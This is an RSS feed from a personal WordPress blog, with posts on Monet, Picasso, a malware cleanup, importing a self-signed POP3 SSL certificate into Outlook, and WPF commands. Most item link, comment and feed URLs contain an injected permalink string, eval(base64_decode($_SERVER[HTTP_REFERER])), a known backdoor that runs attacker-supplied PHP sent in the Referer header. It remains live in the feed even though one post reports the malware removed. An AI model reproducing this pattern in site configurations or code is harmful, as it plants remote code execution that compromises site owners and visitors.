<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Friedrich&#039;s Blog</title>
	<atom:link href="http://brunzema.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://brunzema.com/blog</link>
	<description>Life, the universe and all.</description>
	<lastBuildDate>Fri, 23 Apr 2010 18:02:09 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Haystacks by Monet</title>
		<link>http://brunzema.com/blog/2010/04/23/haystacks-by-monet/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://brunzema.com/blog/2010/04/23/haystacks-by-monet/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 23 Apr 2010 18:02:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Art]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/2010/04/23/haystacks-by-monet/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[
	
The picture here does not quite do the real thing justice.  I believe that I saw a large collection of Haystacks at the Chicago Art Institute.  If you have a chance, go there to check these large pictures out.
]]></description>
			<content:encoded><![CDATA[<p><img src="http://brunzema.com/blog/wp-content/uploads/2010/04/042310_1802_Haystacksby1.png" alt="042310 1802 Haystacksby1 Haystacks by Monet"  title="Haystacks by Monet" />
	</p>
<p>The picture here does not quite do the real thing justice.  I believe that I saw a large collection of Haystacks at the Chicago Art Institute.  If you have a chance, go there to check these large pictures out.</p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2010/04/23/haystacks-by-monet/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blogsite malware removed</title>
		<link>http://brunzema.com/blog/2010/04/21/blogsite-malware-removed/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://brunzema.com/blog/2010/04/21/blogsite-malware-removed/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 21 Apr 2010 19:25:39 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Computers - General]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=137</guid>
		<description><![CDATA[Just to let everyone know that I finally removed the malware (an obfuscated javascript that would cause redirections to a bad site), and worked with the google tools to get the site's name cleared.
.
Unfortunately some of the older posts's pictures are gone as I upgraded to a newer version of WordPress - I will fix [...]]]></description>
			<content:encoded><![CDATA[<p>Just to let everyone know that I finally removed the malware (an obfuscated javascript that would cause redirections to a bad site), and worked with the google tools to get the site's name cleared.<br />
<div id="attachment_138" class="wp-caption aligncenter" style="width: 310px"><a href="http://brunzema.com/blog/wp-content/uploads/2010/04/600_malware_1.jpg"><img src="http://brunzema.com/blog/wp-content/uploads/2010/04/600_malware_1-300x219.jpg" alt="600 malware 1 300x219 Blogsite malware removed" title="600_malware_1" width="300" height="219" class="size-medium wp-image-138" /></a><p class="wp-caption-text">malware</p></div>.</p>
<p>Unfortunately some of the older posts's pictures are gone as I upgraded to a newer version of WordPress - I will fix that later.</p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2010/04/21/blogsite-malware-removed/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Configuring Hostpapa POP3 email with SSL using Outlook &#8211; Fixing SSL &#8220;self-signed certificate&#8221; errors</title>
		<link>http://brunzema.com/blog/2008/12/13/configuring-hostpapa-pop3-email-with-ssl-using-outlook-fixing-ssl-self-signed-certificate-errors/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://brunzema.com/blog/2008/12/13/configuring-hostpapa-pop3-email-with-ssl-using-outlook-fixing-ssl-self-signed-certificate-errors/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 13 Dec 2008 23:50:11 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Computers - General]]></category>
		<category><![CDATA[POP3]]></category>
		<category><![CDATA[self-signed certificates]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=91</guid>
		<description><![CDATA[So you have decided to use SSL with POP3 to get your email from your Hostpapa- hosted site.  The cPanel control panel gives you instructions on how to tell Outlook how to do this, and it is left as an exercise for the reader.
Once everything is configured and you actually connect to the POP3 [...]]]></description>
			<content:encoded><![CDATA[<p>So you have decided to use SSL with POP3 to get your email from your Hostpapa- hosted site.  The cPanel control panel gives you instructions on how to tell Outlook how to do this, and it is left as an exercise for the reader.</p>
<p>Once everything is configured and you actually connect to the POP3 box, Windows/Outlook gives you an error message telling you:</p>
<p>"The server you are connected to is using a security certificate that could not be verified. A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider. Do you want to continue using this server?"</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring14.jpg" alt="121308 2349 configuring14 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>So what is really happening?  SSL certificates are weird things – the way I understand them is that when you buy a certificate from a Certification Authority like Verisign, the certificate that you get points to a root certificate from Verisign.  That Verisign root certificate (and other root certificates from other certification authorities is installed by default by Microsoft.  When your computer makes a connection via SSL to the server, it can and does check the server's certificate.  Following the chain of certificates to the root, it finds the Verisign Root certificate.  Since this certificate matches the root certificate already installed, everything is good.</p>
<p>Why are we getting that self-signed certificate error, then?  What happened is that it is possible for people to generate a certificate that is self-signed, meaning it does not link to a trusted Certification Authority.  In this case, the root certificate does not match anything on the system, and a warning message is displayed. Hostpapa must have just used self-signed certificates, making things harder for the users.</p>
<p>I have found two different methods to get the certificate, either using OpenSSL or using Firefox 3.  I'm sure there are others, but both of these methods work.</p>
<h1>Method#1 to get the Certificate: Using OpenSSL</h1>
<p>Download <a href="http://gnuwin32.sourceforge.net/packages/openssl.htm">OpenSSL</a> for Windows and install it:</p>
<p>Open a command line prompt (start-&gt;run-&gt;cmd)</p>
<p>At the command prompt (c:\&gt;) type:</p>
<p><span style="font-size:14pt"><br />
</span><span style="font-family: Courier New;">cd \program files\gnuwin32\bin<br />
</span></p>
<p>Then type in the following commands:</p>
<p><span style="font-family: Courier New;">openssl s_client -connect <span style="background-color:yellow">hp12.hostpapa.com</span>:995 &gt; file.txt<br />
</span></p>
<p>[replace <span style="background-color:yellow">hp12.hostpapa.com</span> with the server name showing in cPanel]</p>
<p>Ctrl+C (to exit the program)</p>
<p><span style="font-family: Courier New;">openssl x509 -in file.txt -outform DER -out hostpapa.der<br />
</span></p>
<p><span style="font-family: Courier New;">start hostpapa.der<br />
</span></p>
<p><span style="font-family: Courier New;">This starts the certificate import wizard.<br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring24.png" alt="121308 2349 configuring24 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /><span style="font-family: Courier New;"><br />
</span></p>
<p><span style="font-family: Courier New;">Click Install Certificate<br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring34.png" alt="121308 2349 configuring34 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /><span style="font-family: Courier New;"><br />
</span></p>
<p><span style="font-family: Courier New;">Click Next<br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring44.png" alt="121308 2349 configuring44 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /><span style="font-family: Courier New;"><br />
</span></p>
<p><span style="font-family: Courier New;">Click Next<br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring54.png" alt="121308 2349 configuring54 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /><span style="font-family: Courier New;"><br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring64.png" alt="121308 2349 configuring64 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /><span style="font-family: Courier New;"><br />
</span></p>
<h1>Method #2 for getting the SSL Certificate, using only Firefox</h1>
<p>You will need the Firefox 3 web browser installed for this to work.  Note the number of dialogs and clicks required to get you where you want.  You will feel like a criminal doing this but it is perfectly legitimate and safe.</p>
<ol>
<li>Open your Firefox browser, in url box type about:config and press enter.</li>
<li>In next screen you will get a warning message click on "I will be careful, I promise!" button.</li>
<li>In next screen search for "network.security.ports.banned.override".</li>
<li>If this string is not there write click anywhere in the firefox text window and click on new and then select string.</li>
<li>You will get a box says " Enter the preference name" in its text box give the name "network.security.ports.banned.override" and press ok.</li>
<li>In next screen you have to give the string value. This string value is port number of your port.</li>
<li>If you want to allow all port then please give 0-65535. It will allow all the port. If you want to give some specific port then you can give those specific port using comma separated value example 101, 102, 103 etc.  Choose only 995 for HostPapa, because POP3 SSL runs on this port</li>
<li>
<div>Start Firefox and enter the following URL: <a href="https://hp12.hostpapa.com:995">https://hp12.hostpapa.com:995</a></div>
</li>
</ol>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring71.png" alt="121308 2349 configuring71 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Click "Or you can add an exception"</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring81.png" alt="121308 2349 configuring81 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Click Add an exception</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring91.png" alt="121308 2349 configuring91 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Click Get Certificate</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring101.png" alt="121308 2349 configuring101 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Click View, select the Details tab</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring111.png" alt="121308 2349 configuring111 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Click Export</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring121.png" alt="121308 2349 configuring121 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Choose x.509 Certificate, click save, and close all the Firefox dialogs</p>
<p>Double Click the hp12.hostpapa.der certificate, and choose to install the certificate. Method #1 shows the dialogs on Windows Vista that show up when importing the certificate.</p>
<p>Note that you are importing the certificate only for the current user.  If you want to import for all users on the machine, you must use the MMC</p>
<p>Start-&gt;Run-&gt;MMC.exe</p>
<p>File-&gt;Add /Remove SnapIn -&gt; Locate Certmgr.msc in c:\windows\system32</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring131.png" alt="121308 2349 configuring131 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Indicate Local machine</p>
<p>Open ConsoleRoot-&gt;Certificates(LocalComputer)-&gt;Trusted Root Certification Authorities-&gt;Certificates</p>
<p>Right-click on Certificates-&gt;All Tasks-&gt;Import</p>
<p>Follow the wizard to import the saved certificate</p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/12/13/configuring-hostpapa-pop3-email-with-ssl-using-outlook-fixing-ssl-self-signed-certificate-errors/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Pablo Picasso</title>
		<link>http://brunzema.com/blog/2008/05/08/pablo-picasso/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://brunzema.com/blog/2008/05/08/pablo-picasso/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 09 May 2008 01:34:17 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Art]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=84</guid>
		<description><![CDATA[Pablo Diego José Francisco de Paula Juan Nepomuceno María de los Remedios Cipriano de la Santísima Trinidad Martyr Patricio Clito Ruiz y Picasso (October 25, 1881 – April 8, 1973) was a Spanish painter, draughtsman, and sculptor.
Yes, he seems to have had a long set of names… The painting (Dance of youth) conveys movement and [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://brunzema.com/blog/wp-content/uploads/2008/05/pic1.png"><img class="aligncenter size-full wp-image-149" title="pic1" src="http://brunzema.com/blog/wp-content/uploads/2008/05/pic1.png" alt="pic1 Pablo Picasso" width="357" height="454" /></a>Pablo Diego José Francisco de Paula Juan Nepomuceno María de los Remedios Cipriano de la Santísima Trinidad Martyr Patricio Clito Ruiz y Picasso (October 25, 1881 – April 8, 1973) was a Spanish painter, draughtsman, and sculptor.</p>
<p>Yes, he seems to have had a long set of names… The painting (Dance of youth) conveys movement and energy, but has the dove of peace as the symbol in the centre, flying while at the same time still. Look at the figure at 12 o clock in the circle - it is drawn in such a simple, yet incredibly expressive way.</p>
<p>Shalom!</p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/05/08/pablo-picasso/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Playing with WPF Commands</title>
		<link>http://brunzema.com/blog/2008/05/07/playing-with-wpf-commands/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://brunzema.com/blog/2008/05/07/playing-with-wpf-commands/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 08 May 2008 03:17:02 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Computers - General]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[WPF]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=82</guid>
		<description><![CDATA[ Download Sample source code (26KB), for Visual Studio 2008



Here is a small WPF application I wrote, which I wanted to share.  It is kind of dumb, but does show some interesting concepts, including data binding, localization, commands, a view model, menus and icons in menus.  How does it work?  Press the [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://brunzema.com/blog_extra/download.gif" alt="download Playing with WPF Commands"  title="Playing with WPF Commands" /> Download Sample <a href="http://www.brunzema.com/blog_extra/downloads/DemoApplication.zip">source code</a> (26KB), for Visual Studio 2008<br />
<br/><br />
<img src="http://brunzema.com/blog_extra/mvc.png" alt="mvc Playing with WPF Commands"  title="Playing with WPF Commands" /><br />
<br/><br />
Here is a small WPF application I wrote, which I wanted to share.  It is kind of dumb, but does show some interesting concepts, including data binding, localization, commands, a view model, menus and icons in menus.  How does it work?  Press the ShowMessage button, and it will show you the text in the edit box inside a message box.  Press reset, and the text inside the edit box gets reset.  The two commands button commands are also propagated to the menu.</p>
<p>The UI was designed in Expression Blend, although I admit that I often went back to editing the XML manually.  Maybe this is how you are supposed to use Blend, or I just don't know yet how to do this in Blend. One thing to note is that even though the application is localized, the UI still shows up both in Blend and in the Visual Studio 2008 editor.  For the curious, I am using Approach #1 from my <a href="http://www.codeproject.com/KB/WPF/WPFUsingLocbaml.aspx">CodeProject Article</a> on localization. (You will need to download and install the ResXFileCodeGeneratorEx <a href="http://www.codeproject.com/KB/dotnet/ResXFileCodeGeneratorEx.aspx">addin</a> to compile the sample.)</p>
<p>I must admit that I borrowed some ideas from Josh Smith's  <a href="http://www.codeproject.com/KB/WPF/MVCtoUnitTestinWPF.aspx">article</a> on Model View Controller Unit Testing WPF. Let us focus on the commands for now:</p>
<pre class="csharp"><span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #FF0000;">class</span> Commands
<span style="color: #000000;">&#123;</span>
    <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">readonly</span> RoutedUICommand Button1Command;
    <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">readonly</span> RoutedUICommand Button2Command;
&nbsp;
    <span style="color: #0600FF;">static</span> Commands<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
        Button1Command = <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> RoutedUICommand<span style="color: #000000;">&#40;</span>Strings.<span style="color: #0000FF;">Button1</span>, <span style="color: #808080;">&quot;Button1Command&quot;</span>,
            <a href="http://www.google.com/search?q=typeof+msdn.microsoft.com"><span style="color: #008000;">typeof</span></a> <span style="color: #000000;">&#40;</span>Commands<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>;
        Button2Command = <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> RoutedUICommand<span style="color: #000000;">&#40;</span>Strings.<span style="color: #0000FF;">Button2</span>, <span style="color: #808080;">&quot;Button2Command&quot;</span>,
            <a href="http://www.google.com/search?q=typeof+msdn.microsoft.com"><span style="color: #008000;">typeof</span></a> <span style="color: #000000;">&#40;</span>Commands<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>;
    <span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre>
<p><br/>So this is just a static class containing static commands that are initialized as soon as the class is referenced for the first time.  Note that the names come from a string resource, and this helps in the localization.  Now how do we use the commands?</p>
<p>This code is part of the MainWindow.xaml, right under the Window tag.  What it does is tell WPF that we wish to intercept the commands we list under the &lt;Window.CommandBindings&gt; tag.  Now the command itself comes from the static class I just showed.  Note the use of the 'DemoApplication' namespace identifier; for this to work we have to define/import the namespace which is done as an attribute of the Window tag like so:</p>
<pre class="xml">xmlns:DemoApplication=&quot;clr-namespace:DemoApplication;assembly=&quot;</pre>
<p>The command also has two attributes, the CanExecute and Executed, which point to code-behind found in the MainWindow.cs.  The CanExecute determines if the command is available, and the Executed delegate is fired when the command is invoked.  Here is what the implementation looks like:</p>
<pre class="csharp"><span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button1_CanExecute<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, CanExecuteRoutedEventArgs e<span style="color: #000000;">&#41;</span>
<span style="color: #000000;">&#123;</span>
    e.<span style="color: #0000FF;">CanExecute</span> = <span style="color: #0600FF;">true</span>;
<span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button1_Executed<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, ExecutedRoutedEventArgs e<span style="color: #000000;">&#41;</span>
<span style="color: #000000;">&#123;</span>
    MessageBox.<span style="color: #0000FF;">Show</span><span style="color: #000000;">&#40;</span>Strings.<span style="color: #0000FF;">TextIs</span> + mViewModel.<span style="color: #0000FF;">EditBoxContents</span>, Strings.<span style="color: #0000FF;">ButtonPressed</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button2_CanExecute<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, CanExecuteRoutedEventArgs e<span style="color: #000000;">&#41;</span>
<span style="color: #000000;">&#123;</span>
    e.<span style="color: #0000FF;">CanExecute</span> = <span style="color: #0600FF;">true</span>;
<span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button2_Executed<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, ExecutedRoutedEventArgs e<span style="color: #000000;">&#41;</span>
<span style="color: #000000;">&#123;</span>
    mViewModel.<span style="color: #0000FF;">EditBoxContents</span> = Strings.<span style="color: #0000FF;">ResetText</span>;
<span style="color: #000000;">&#125;</span></pre>
<p><br/>Now we have the commands defined and created and hooked up the delegates that actually handle the commands (and if the command is available), it is time to hook up the command to both to the buttons and to the menus.</p>
<pre class="xml">&nbsp;
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Menu</span> DockPanel.<span style="color: #000066;">Dock</span>=<span style="color: #ff0000;">&quot;Top&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>
  <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;MenuItem</span> <span style="color: #000066;">Header</span>=<span style="color: #ff0000;">&quot;{x:Static Properties:Strings.TopLevelMenu}&quot;</span> <span style="font-weight: bold; color: black;">&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;MenuItem</span> <span style="color: #000066;">Header</span>=<span style="color: #ff0000;">&quot;{x:Static Properties:Strings.Button1}&quot;</span>
              <span style="color: #000066;">Command</span>=<span style="color: #ff0000;">&quot;{x:Static DemoApplication:Commands.Button1Command}&quot;</span> <span style="font-weight: bold; color: black;">&gt;</span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;MenuItem</span>.Icon<span style="font-weight: bold; color: black;">&gt;</span></span>
        <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Image</span> <span style="color: #000066;">Source</span>=<span style="color: #ff0000;">&quot;Icons/control_play.png&quot;</span><span style="font-weight: bold; color: black;">/&gt;</span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/MenuItem</span>.Icon<span style="font-weight: bold; color: black;">&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/MenuItem<span style="font-weight: bold; color: black;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;MenuItem</span> <span style="color: #000066;">Header</span>=<span style="color: #ff0000;">&quot;{x:Static Properties:Strings.Button2}&quot;</span>
              <span style="color: #000066;">Command</span>=<span style="color: #ff0000;">&quot;{x:Static DemoApplication:Commands.Button2Command}&quot;</span> <span style="font-weight: bold; color: black;">&gt;</span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;MenuItem</span>.Icon<span style="font-weight: bold; color: black;">&gt;</span></span>
        <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Image</span> <span style="color: #000066;">Source</span>=<span style="color: #ff0000;">&quot;Icons/control_stop.png&quot;</span><span style="font-weight: bold; color: black;">/&gt;</span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/MenuItem</span>.Icon<span style="font-weight: bold; color: black;">&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/MenuItem<span style="font-weight: bold; color: black;">&gt;</span></span></span>
  <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/MenuItem<span style="font-weight: bold; color: black;">&gt;</span></span></span>
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Menu<span style="font-weight: bold; color: black;">&gt;</span></span></span>
&nbsp;
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Button</span> <span style="color: #000066;">Content</span>=<span style="color: #ff0000;">&quot;{x:Static Properties:Strings.Button1}&quot;</span>
        <span style="color: #000066;">Command</span>=<span style="color: #ff0000;">&quot;{x:Static DemoApplication:Commands.Button1Command}&quot;</span>
        Grid.<span style="color: #000066;">Row</span>=<span style="color: #ff0000;">&quot;1&quot;</span>
        <span style="color: #000066;">VerticalAlignment</span>=<span style="color: #ff0000;">&quot;Top&quot;</span> <span style="font-weight: bold; color: black;">/&gt;</span></span>
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Button</span> <span style="color: #000066;">Content</span>=<span style="color: #ff0000;">&quot;{x:Static Properties:Strings.Button2}&quot;</span>
        <span style="color: #000066;">Command</span>=<span style="color: #ff0000;">&quot;{x:Static DemoApplication:Commands.Button2Command}&quot;</span>
        Grid.<span style="color: #000066;">Column</span>=<span style="color: #ff0000;">&quot;1&quot;</span>
        Grid.<span style="color: #000066;">Row</span>=<span style="color: #ff0000;">&quot;1&quot;</span>
        <span style="color: #000066;">VerticalAlignment</span>=<span style="color: #ff0000;">&quot;Top&quot;</span> <span style="font-weight: bold; color: black;">/&gt;</span></span>
&nbsp;</pre>
<p><br/>The localized app in French looks as follows:<br />
<img src="http://brunzema.com/blog_extra/demo-fr.png" alt="demo fr Playing with WPF Commands"  title="Playing with WPF Commands" /><br/><br />
The English version is here:<br />
<img src="http://brunzema.com/blog_extra/demo.png" alt="demo Playing with WPF Commands"  title="Playing with WPF Commands" /><br />
<br/>Enough for now - good night!</p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/05/07/playing-with-wpf-commands/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A way to show computer source code in the blog&#8230;</title>
		<link>http://brunzema.com/blog/2008/05/06/test-scr/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://brunzema.com/blog/2008/05/06/test-scr/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 07 May 2008 01:50:43 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Computers - General]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[posting code]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=78</guid>
		<description><![CDATA[OK, this one took a bit of time to figure out, but I think I have it working to my satisfaction now.  I want to be able to post source code, both C# code as well as XAML code (Windows Presentation Foundation) on the site.  I found a plugin called Code Highlighter, that [...]]]></description>
			<content:encoded><![CDATA[<p>OK, this one took a bit of time to figure out, but I think I have it working to my satisfaction now.  I want to be able to post source code, both C# code as well as XAML code (Windows Presentation Foundation) on the site.  I found a plugin called <a href="http://ideathinking.com/blog-v2/?p=13">Code Highlighter</a>, that helps.  I just found the default formatting for my theme's website lacking, so I borrowed from the <a href="http://www.codeproject.com">CodeProject</a> a little .CSS fragment relating to the &lt;pre&gt; tag.</p>
<pre class="css">&nbsp;
pre
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">border</span>: <span style="color: #933;">1px</span> <span style="color: #993333;">solid</span> <span style="color: #cc00cc;">#ccc</span>; <span style="color: #000000; font-weight: bold;">padding</span>: <span style="color: #933;">0em</span> <span style="color: #933;">0</span><span style="color: #6666ff;"><span style="color: #933;">.5em</span></span>;
	<span style="color: #000000; font-weight: bold;">background-color</span>: <span style="color: #cc00cc;">#FBEDBB</span>;
	<span style="color: #000000; font-weight: bold;">padding</span>: <span style="color: #933;">5pt</span>;
	<span style="color: #000000; font-weight: bold;">font</span>: <span style="color: #933;">9pt</span> <span style="color: #ff0000;">&quot;Courier New&quot;</span>, Courier, mono;
	<span style="color: #000000; font-weight: bold;">white-space</span>: pre;
	overflow<span style="color: #3333ff;">:auto</span>;
<span style="color: #66cc66;">&#125;</span>
&nbsp;</pre>
<p>The following is an example of what C# code looks like:</p>
<pre class="csharp">&nbsp;
<span style="color: #0600FF;">public</span> partial <span style="color: #FF0000;">class</span> Window1
<span style="color: #000000;">&#123;</span>
    <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">readonly</span> ApplicationViewModel mViewModel;
&nbsp;
    <span style="color: #0600FF;">public</span> Window1<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
